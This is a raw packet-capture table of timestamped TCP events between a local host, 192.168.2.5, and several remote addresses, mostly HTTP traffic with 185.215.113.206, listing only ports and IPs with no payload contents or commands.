Nov 25, 2024 18:28:40.176630974 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.176677942 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.176726103 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.176769018 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.177607059 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.177699089 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.177715063 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.177819014 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.178561926 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.178615093 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.178683996 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.178791046 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.179543972 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.179600954 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.179616928 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.179651976 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.180521011 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.180569887 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.180617094 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.181583881 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.181632042 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.181704998 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.181827068 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.182455063 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.182506084 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.245351076 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.245387077 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.245433092 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.245477915 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.245769024 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.245819092 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.245953083 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.246081114 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.246745110 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.246767998 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.246808052 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.246835947 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.274256945 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.274323940 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.274398088 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.274465084 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.274751902 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.275074959 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.275087118 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.275122881 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.275744915 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:40.275769949 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:40.275841951 CET	49807	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:40.275868893 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:40.275965929 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.276015043 CET	49807	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:40.276016951 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.276073933 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.276902914 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.276987076 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.277050972 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.277169943 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.277884007 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.277930975 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.277987957 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.278027058 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.278819084 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.278945923 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.279000044 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.279825926 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.279875994 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.279927015 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.280024052 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.280987024 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.281035900 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.281056881 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.281215906 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.281780005 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.281831980 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.281836987 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.282030106 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.282849073 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.282901049 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.283052921 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.283102036 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.283890963 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.283936977 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.283951998 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.284151077 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.284751892 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.284802914 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.284811974 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.284851074 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.285669088 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.285717010 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.285773993 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.285815954 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.286628008 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.286684036 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.286992073 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.287041903 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.287666082 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.287720919 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.287839890 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.288098097 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.288630009 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.288678885 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.288712025 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.288758993 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.289588928 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.289650917 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.289683104 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.289793968 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.292078972 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:40.292128086 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:40.292160034 CET	49807	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:40.292166948 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:40.292206049 CET	49807	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:40.314388037 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:40.314433098 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:40.314466000 CET	49807	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:40.314476013 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:40.314503908 CET	49807	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:40.314527988 CET	49807	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:40.341628075 CET	443	49827	4.152.199.46	192.168.2.5
Nov 25, 2024 18:28:40.341660023 CET	443	49827	4.152.199.46	192.168.2.5
Nov 25, 2024 18:28:40.341670036 CET	443	49827	4.152.199.46	192.168.2.5
Nov 25, 2024 18:28:40.341695070 CET	443	49827	4.152.199.46	192.168.2.5
Nov 25, 2024 18:28:40.341706038 CET	443	49827	4.152.199.46	192.168.2.5
Nov 25, 2024 18:28:40.341715097 CET	443	49827	4.152.199.46	192.168.2.5
Nov 25, 2024 18:28:40.341749907 CET	49827	443	192.168.2.5	4.152.199.46
Nov 25, 2024 18:28:40.341767073 CET	443	49827	4.152.199.46	192.168.2.5
Nov 25, 2024 18:28:40.341782093 CET	49827	443	192.168.2.5	4.152.199.46
Nov 25, 2024 18:28:40.341809034 CET	49827	443	192.168.2.5	4.152.199.46
Nov 25, 2024 18:28:40.351005077 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.351135969 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.351176977 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.351480007 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.351574898 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.351633072 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.351787090 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.352591991 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.352657080 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.352726936 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.353472948 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.353506088 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.353528023 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.353552103 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.354477882 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.354597092 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.354635000 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.355493069 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.355542898 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.355561018 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.355591059 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.356437922 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.356455088 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.356501102 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.356513977 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.357743979 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.357816935 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.358123064 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.358454943 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.358501911 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.358858109 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.359355927 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.359430075 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.359453917 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.360328913 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.360335112 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.360425949 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.360441923 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.360471964 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.361448050 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.361460924 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.361512899 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.362277985 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.362339973 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.362394094 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.362435102 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.363357067 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.363439083 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.363507032 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.364236116 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.364280939 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.364339113 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.365192890 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.365295887 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.365345001 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.366147041 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.366269112 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.366329908 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.367178917 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.367238998 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.367357016 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.367423058 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.368124962 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.368206978 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.368227959 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.368787050 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.369100094 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.369226933 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.369268894 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.369287968 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.370080948 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.370171070 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.370229959 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.371045113 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.371108055 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.371159077 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.371330023 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.372045040 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.372117996 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.372133970 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.372165918 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.373018980 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.373266935 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.373388052 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.373987913 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.374119043 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.374186039 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.375053883 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.375118971 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.375163078 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.375875950 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.375957966 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.376041889 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.376936913 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.376990080 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.377003908 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.377033949 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.377860069 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.377994061 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.378902912 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.378957987 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.378962994 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.379904985 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.379935026 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.379988909 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.380811930 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.380899906 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.380904913 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.380939007 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.381838083 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.381850958 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.381911039 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.382842064 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.383028030 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.383074045 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.383920908 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.383996964 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.384077072 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.384273052 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.385070086 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.385087013 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.385132074 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.385169029 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.386224985 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.386288881 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.475765944 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.475838900 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.475881100 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.476142883 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.476218939 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.476383924 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.476425886 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.476946115 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.477078915 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.477144957 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.477881908 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.477937937 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.478105068 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.478156090 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.478861094 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.478934050 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.479010105 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.479548931 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.479878902 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.479933023 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.479954004 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.480103970 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.480824947 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.480890989 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.480916977 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.481131077 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.481789112 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.481868029 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.481903076 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.482117891 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.482784986 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.482841969 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.482877016 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.483010054 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.483762980 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.483819962 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.483864069 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.484020948 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.484699011 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.484749079 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.484812975 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.484852076 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.485678911 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.485732079 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.485732079 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.485929966 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.485972881 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:40.486030102 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:40.486056089 CET	49807	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:40.486069918 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:40.486088037 CET	49807	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:40.486109018 CET	49807	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:40.486728907 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.486799002 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.486819029 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.486888885 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.487886906 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.487972021 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.488045931 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.488627911 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.488739014 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.488750935 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.489123106 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.489726067 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.489739895 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.489774942 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.489798069 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.490864038 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.490916967 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.490991116 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.491034985 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.502360106 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:40.502405882 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:40.502454042 CET	49807	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:40.502461910 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:40.502490044 CET	49807	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:40.502507925 CET	49807	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:40.523242950 CET	443	49827	4.152.199.46	192.168.2.5
Nov 25, 2024 18:28:40.523272038 CET	443	49827	4.152.199.46	192.168.2.5
Nov 25, 2024 18:28:40.523338079 CET	49827	443	192.168.2.5	4.152.199.46
Nov 25, 2024 18:28:40.523370028 CET	443	49827	4.152.199.46	192.168.2.5
Nov 25, 2024 18:28:40.523387909 CET	49827	443	192.168.2.5	4.152.199.46
Nov 25, 2024 18:28:40.523580074 CET	49827	443	192.168.2.5	4.152.199.46
Nov 25, 2024 18:28:40.552264929 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.552382946 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.552388906 CET	80	49761	185.215.113.206	192.168.2.5
